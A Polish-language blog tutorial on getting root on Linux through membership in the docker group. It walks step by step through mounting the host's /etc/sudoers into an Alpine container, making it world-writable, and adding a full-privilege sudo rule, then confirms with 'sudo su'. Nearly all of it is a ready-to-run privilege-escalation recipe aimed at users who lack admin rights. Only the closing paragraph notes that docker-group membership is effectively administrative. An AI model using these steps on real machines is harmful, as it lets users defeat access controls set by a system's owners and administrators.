Jak uzyskać dostęp do admina na Linuxie wykorzystując Dockera?
Nie posiadasz uprawnień administratora na lokalnym sprzęcie? Posiadasz Linuxa oraz Dockera? Jeżeli odpowiedź na powyższe pytania brzmi tak to w tym artykule pokażę Ci jak wykorzystać Dockera do modyfikacji pliku sudoers, dzięki czemu uzyskasz uprawnienia administratora.
Wymagania wstępne
Przedstawiony tutaj sposób wymaga, aby użytkownik z ograniczeniami miał dostęp do komend dockerowych, tzn. użytkownik należy do grupy docker. Konfiguracja dockera wymaga, aby użytkownik należał do tej grupy. Sposób ten działa wyłącznie na systemie Linux (testowane na Ubuntu).
TLDR
-
Odpalenie alpine linuxa z zamontowaniem pliku
/etc/sudoers
jakosudoers
w kontenerze:docker run -it -v /etc/sudoers:/sudoers --rm alpine /bin/sh
-
Zmiana uprawnień w celu edycji pliku
sudoers
za pomocą vi:chmod 777 sudoers vi sudoers
-
Dodanie użytkownikowi wymaganych uprawnień w pliku
sudoers
(klawiszi
w celu dodania wpisu):# Pomiedzy user a ALL wymagana jest tabulacja (raz TAB, nie 4 spacje) user ALL=(ALL:ALL) ALL
-
Wyjście z zapisem z vi:
:wq
-
Ponowna zmiana uprawnień pliku
sudoers
na domyślne wartości oraz wyjście z konsoli kontenera:chmod 755 sudoers exit
-
Weryfikacja zmian w pliku
sudoers
:cat /etc/sudoers sudo su
Opis poszczególnych komend
docker run -it -v /etc/sudoers:/sudoers –rm alpine /bin/sh
Komenda ta pozwala na pobranie obrazu alpine linuxa, a następnie odpalenie kontenera z tego obrazu.
Parametr -it
odpowiada za odpalenie trybu interaktywnego (pozostawia otwarty STDIN, nawet jeśli nie
jest podłączony) oraz przydzielenie pseudo-TTY.
Parametr -v
wiążę katalog bądź plik hosta z wolumenem kontenera. W tym przypadku tworzymy powiązanie
dla pliku hosta /etc/sudoers
z plikiem sudoers
w katalogu głównym naszego kontenera.
Parametr --rm
sprawia, że po zamknięciu i wyjściu z shella, utworzony kontener zostanie usunięty.
Fragment alpine /bin/sh
odpowiada za wybranie obrazu, z którego zostanie utworzony kontener (w tym
przypadku linux alpine) oraz odpalenie polecenia (programu) /bin/sh
, czyli powłoki systemu (shell).
chmod 777 sudoers oraz vi sudoers
Plik /etc/sudoers
domyślnie jest zabezpieczony przed edycją. Ze względu, że alpine jest minimalistyczną
dystrybucją linuxa posiada domyślnie edytor plików vi. Pliki sudoers
powinny być edytowane za pomocą
visudo, jednak w alpine nie ma domyślnie tego zainstalowane. W celu edycji pliku należy nadać pełne
uprawnienia do pliku obecnemu użytkowniki za pomocą komendy chmod 777 sudoers
odpalonej w kontenerze z
alpine. Następnie można otworzyć plik sudoers wykorzystując edytor vi za pomocą komendy: vi sudoers
.
Aby móc wpisywać tekst w edytorze vi należy nacisnąć na klawiaturze przyciski i
.
user ALL=(ALL:ALL) ALL
Powyższy wpis pozwala na dodanie użytkownikowi user
uprawnień do wykonywania wszystkich komend.
Pierwsze pole wskazuje nazwę użytkownika, którego dotyczy reguła (user).
Pierwsze „ALL” oznacza, że ta reguła dotyczy wszystkich hostów.
Drugie „ALL” oznacza, że użytkownik user może uruchamiać polecenia jako wszyscy użytkownicy.
Trzecie „ALL” oznacza, że użytkownik user może uruchamiać polecenia jako wszystkie grupy.
Czwarte „ALL” oznacza, że te zasady dotyczą wszystkich poleceń (komend).
Należy pamiętać o zachowaniu odpowiedniego formatowania w pliku. W przypadku Ubuntu między user, a ALL
był odstęp z wykorzystaniem pojedynczej tabulacji (nie cztery spacje). Osobiście nie jestem, pewien
czy użycie pojedynczej spacji, bądź 4 spacji nie zepsuje niczego, więc dla pewności zachowałem docelowe
formatowanie.
Wyjście z vi
W celu wyjścia z edytora vi zapisując zmiany, należy nacisnąć na klawiaturze klawisz esc
, a następnie wpisać
:wq
. Polecenia po dwukropku to komendy dla vi. w
oznacza, iż chcemy zapisać zmiany wprowadzone w pliku
natomiast q
oznacza zamknięcie pliku.
chmod 755 sudoers oraz exit
Zmieniamy uprawnienia do pliku sudoers na domyślne wartości przed edycją, a następnie wychodzimy z powłoki
kontenera za pomocą komendy exit
. Po wyjściu kontener z alpine zostanie usunięty. Pozostanie wyłącznie
pobrany obraz na dysku.
cat /etc/sudoers oraz sudo su
W celu weryfikacji dostępów możemy wykorzystać polecenie cat /etc/sudoers
, aby sprawdzić, czy wpisy
poprawnie się dodały. Możemy też użyć komendy sudo su
, aby sprawdzić, czy możemy wykonywać polecenia
jako sudo.
Wniosek
Jak widać docker pozwala na zmianę uprawnień dla użytkownika i modyfikację plików, do których domyślnie nie posiadamy dostępu. Grupa Docker należy do grup administratorskich, przez co użytkownik będący w tej grupie posiadający dostęp do wykonywania komend dockera, ma możliwość dowolnej modyfikacji plików, bez konieczności dostępu do praw administratora.